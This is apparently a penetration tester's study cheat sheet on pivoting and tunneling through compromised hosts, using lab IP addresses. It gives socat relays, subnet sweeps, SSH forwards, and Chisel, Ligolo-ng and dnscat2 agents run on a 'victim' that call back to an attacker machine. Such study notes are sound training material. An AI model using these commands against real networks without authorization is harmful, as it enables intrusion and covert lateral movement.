kei5uke

Pivoting & Tunneling

Properties2
tagsaccess, pivoting, tunneling, proxychains
aliasesPivoting, Tunneling, Port Forwarding, Chisel, Ligolo, proxychains

2 min read

🔀 Port Redirection, Tunneling & Pivoting

Not in the original outline, but kept here so nothing was dropped.

socat port relay — forward a reachable internal port to one you can hit:

socat -ddd TCP-LISTEN:2345,fork TCP:10.4.50.215:5432     # expose internal 5432 on local 2345 → psql -h DMZ_IP
socat TCP-LISTEN:8888,fork TCP:127.0.0.1:80              # 80 → 8888

Recon from the compromised host (map what it can reach):

ip addr                                                  # its interfaces
ip route                                                 # its routes (next hop into new subnets)
ss -ntplu                                                # its listening ports
for i in $(seq 1 254); do nc -zv -w 1 172.16.50.$i 445; done   # sweep a new subnet

SSH tunneling

# local forward
ssh -N -L 0.0.0.0:4455:172.16.238.217:4242 database_admin@10.4.238.215
# dynamic (SOCKS)   → proxychains: socks5 192.168.50.63 9999
ssh -N -D 0.0.0.0:9999 database_admin@10.4.50.215
proxychains CMD
# reverse forward (victim → host)
ssh -N -R 127.0.0.1:2345:10.4.50.215:5432 kali@192.168.118.4
psql -h 127.0.0.1 -p 2345 -U postgres
# reverse dynamic  → proxychains: socks5 127.0.0.1 9998
ssh -N -R 9998 kali@192.168.118.4
proxychains nmap -vvv -sT --top-ports=20 -Pn -n 10.4.50.64     # use -sT over proxychains
# simple local reverse chain
ssh -N -L 127.0.0.1:4444:192.168.45.236:4444 jack@192.168.45.235

Chisel (HTTP tunnel; ICMP won’t work)

# attacker
chisel server --port 8080 --reverse --socks5
# victim
/tmp/chisel client 192.168.118.4:8080 R:socks > /dev/null 2>&1 &
.\chisel.exe client 192.168.XX.XX:8080 R:1080:socks            # Windows
# then
ssh -o ProxyCommand='ncat --proxy-type socks5 --proxy 127.0.0.1:1080 %h %p' database_admin@10.4.50.215
proxychains CMD      # /etc/proxychains.conf: socks5 127.0.0.1 1080

Ligolo-ng

  1. Start the proxy on Kali and run the agent on the victim: 
    ./proxy -ignore-cert                                   # Kali
.\agent.exe -connect 192.168.45.222:11601 -ignore-cert # victim
  2. In the proxy: select the session, then read its interfaces: 
    session
ifconfig
  3. On Kali, route the internal subnet through the ligolo interface and start the tunnel: 
    ip route add 10.10.79.0/24 dev ligolo     # run in a normal shell, not the proxy
tunnel_start
  4. Add listeners to pull internal ports back to Kali: 
    listener_add --addr 0.0.0.0:1234 --to 127.0.0.1:4321 --tcp
listener_add --addr 0.0.0.0:8080 --to 127.0.0.1:80   --tcp

DNS tunneling (dnscat2)

  1. Start the server on your fake DNS host; run the client on the internal box: 
    dnscat2-server feline.corp     # fake DNS server
dnscat feline.corp             # internal victim
  2. In the server session, tunnel to an internal service: 
    windows                                   # list sessions
listen 127.0.0.1:4455 172.16.2.11:445     # internal SMB → local 4455 → smbclient 127.0.0.1:4455

Metasploit pivoting (route add / autoroute) is in exploitation.

Graph View